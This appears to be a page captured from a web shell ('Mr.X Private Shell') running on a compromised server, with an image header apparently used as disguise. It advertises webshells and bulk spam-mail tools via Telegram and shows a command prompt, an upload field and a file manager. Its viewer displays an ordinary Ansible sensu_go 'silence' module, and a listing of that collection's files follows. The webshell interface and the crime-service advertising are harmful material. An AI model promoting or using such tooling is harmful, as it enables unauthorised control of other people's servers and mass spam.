����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
# -*- coding: utf-8 -*-
# Copyright: (c) 2019, Paul Arthur <paul.arthur@flowerysong.com>
# Copyright: (c) 2019, XLAB Steampunk <steampunk@xlab.si>
#
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)

from __future__ import absolute_import, division, print_function
__metaclass__ = type

ANSIBLE_METADATA = {
    "metadata_version": "1.1",
    "status": ["stableinterface"],
    "supported_by": "certified",
}

DOCUMENTATION = '''
module: silence
author:
  - Paul Arthur (@flowerysong)
  - Aljaz Kosir (@aljazkosir)
  - Manca Bizjak (@mancabizjak)
  - Tadej Borovsak (@tadeboro)
short_description: Manage Sensu silences
description:
  - Create, update or delete Sensu silence.
  - For more information, refer to the Sensu documentation at
    U(https://docs.sensu.io/sensu-go/latest/reference/silencing/).
version_added: 1.0.0
extends_documentation_fragment:
  - sensu.sensu_go.requirements
  - sensu.sensu_go.auth
  - sensu.sensu_go.namespace
  - sensu.sensu_go.state
  - sensu.sensu_go.labels
  - sensu.sensu_go.annotations
seealso:
  - module: sensu.sensu_go.silence_info
options:
  subscription:
    description:
      - The name of the subscription the entry should match.
      - If left empty a silencing entry will contain an asterisk in the
        subscription position. This indicates that any event with a matching
        check name will be marked as silenced, regardless of the originating
        entities subscriptions.
      - Specific entity can also be targeted by taking advantage of per-entity
        subscription (entity:<entity_name>).
      - This parameter is required if the I(check) parameter is absent.
    type: str
  check:
    description:
      - The name of the check the entry should match.
      - If left empty a silencing entry will contain an asterisk in the check
        position. This indicates that any event where the originating entities
        subscriptions match the subscription specified in the entry will be
        marked as silenced, regardless of the check name.
      - This parameter is required if the I(subscription) parameter is absent.
    type: str
  begin:
    description:
      - UNIX time at which silence entry goes into effect.
    type: int
  expire:
    description:
      - Number of seconds until the silence expires.
    type: int
  expire_on_resolve:
    description:
      - If the entry should be deleted when a check begins return OK status (resolves).
    type: bool
  reason:
    description:
      - Reason for silencing.
    type: str
'''

EXAMPLES = '''
- name: Silence a specific check
  sensu.sensu_go.silence:
    subscription: proxy
    check: check-disk

- name: Silence specific check regardless of the originating entities subscription
  sensu.sensu_go.silence:
    check: check-cpu

- name: Silence all checks on a specific entity
  sensu.sensu_go.silence:
    subscription: entity:important-entity
    expire: 120
    reason: rebooting the world

- name: Delete a silencing entry
  sensu.sensu_go.silence:
    subscription: entity:important-entity
    state: absent
'''

RETURN = '''
object:
  description: Object representing Sensu silence.
  returned: success
  type: dict
  sample:
    metadata:
      annotations: null
      labels: null
      name: entity:i-424242:*
      namespace: default
    begin: 1542671205
    check: null
    creator: admin
    expire: -1
    expire_on_resolve: false
    reason: null
    subscription: entity:i-424242
'''

from ansible.module_utils.basic import AnsibleModule

from ..module_utils import arguments, errors, utils


def main():
    required_one_of = [
        ['subscription', 'check']
    ]
    module = AnsibleModule(
        supports_check_mode=True,
        required_one_of=required_one_of,
        argument_spec=dict(
            arguments.get_spec(
                'auth', 'state', 'labels', 'annotations', 'namespace',
            ),
            subscription=dict(),
            check=dict(),
            begin=dict(
                type='int',
            ),
            expire=dict(
                type='int',
            ),
            expire_on_resolve=dict(
                type='bool'
            ),
            reason=dict()
        ),
    )
    name = '{0}:{1}'.format(module.params['subscription'] or '*', module.params['check'] or '*')

    client = arguments.get_sensu_client(module.params['auth'])
    path = utils.build_core_v2_path(
        module.params['namespace'], 'silenced', name,
    )
    # We add name parameter because it is actually required and must match the name that is
    # autogenerated on the API
    module.params['name'] = name
    payload = arguments.get_mutation_payload(
        module.params, 'subscription', 'check', 'begin', 'expire', 'expire_on_resolve', 'reason'
    )
    try:
        changed, silence = utils.sync(
            module.params['state'], client, path, payload, module.check_mode,
        )
        module.exit_json(changed=changed, object=silence)
    except errors.Error as e:
        module.fail_json(msg=str(e))


if __name__ == '__main__':
    main()

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
ad_auth_provider.py File 11.83 KB 0644
asset.py File 6.08 KB 0644
asset_info.py File 2.43 KB 0644
auth_provider_info.py File 3.51 KB 0644
bonsai_asset.py File 3.48 KB 0644
check.py File 12.24 KB 0644
check_info.py File 2.29 KB 0644
cluster.py File 2.89 KB 0644
cluster_info.py File 2.49 KB 0644
cluster_role.py File 4.31 KB 0644
cluster_role_binding.py File 3.95 KB 0644
cluster_role_binding_info.py File 2.4 KB 0644
cluster_role_info.py File 2.31 KB 0644
datastore.py File 4.87 KB 0644
datastore_info.py File 2.59 KB 0644
entity.py File 7.29 KB 0644
entity_info.py File 3.04 KB 0644
etcd_replicator.py File 6.51 KB 0644
etcd_replicator_info.py File 2.71 KB 0644
event.py File 9.54 KB 0644
event_info.py File 3.44 KB 0644
filter.py File 4.17 KB 0644
filter_info.py File 2.26 KB 0644
handler_info.py File 2.27 KB 0644
handler_set.py File 2.95 KB 0644
hook.py File 3.69 KB 0644
hook_info.py File 2.27 KB 0644
ldap_auth_provider.py File 11.07 KB 0644
mutator.py File 3.98 KB 0644
mutator_info.py File 2.33 KB 0644
namespace.py File 2.17 KB 0644
namespace_info.py File 1.92 KB 0644
oidc_auth_provider.py File 6.28 KB 0644
pipe_handler.py File 4.43 KB 0644
role.py File 4.27 KB 0644
role_binding.py File 4.73 KB 0644
role_binding_info.py File 2.37 KB 0644
role_info.py File 2.33 KB 0644
secret.py File 3.34 KB 0644
secret_info.py File 2.77 KB 0644
secrets_provider_env.py File 2.49 KB 0644
secrets_provider_info.py File 2.85 KB 0644
secrets_provider_vault.py File 7.06 KB 0644
silence.py File 4.98 KB 0644
silence_info.py File 2.93 KB 0644
socket_handler.py File 3.97 KB 0644
tessen.py File 2.66 KB 0644
user.py File 10.21 KB 0644
user_info.py File 2.19 KB 0644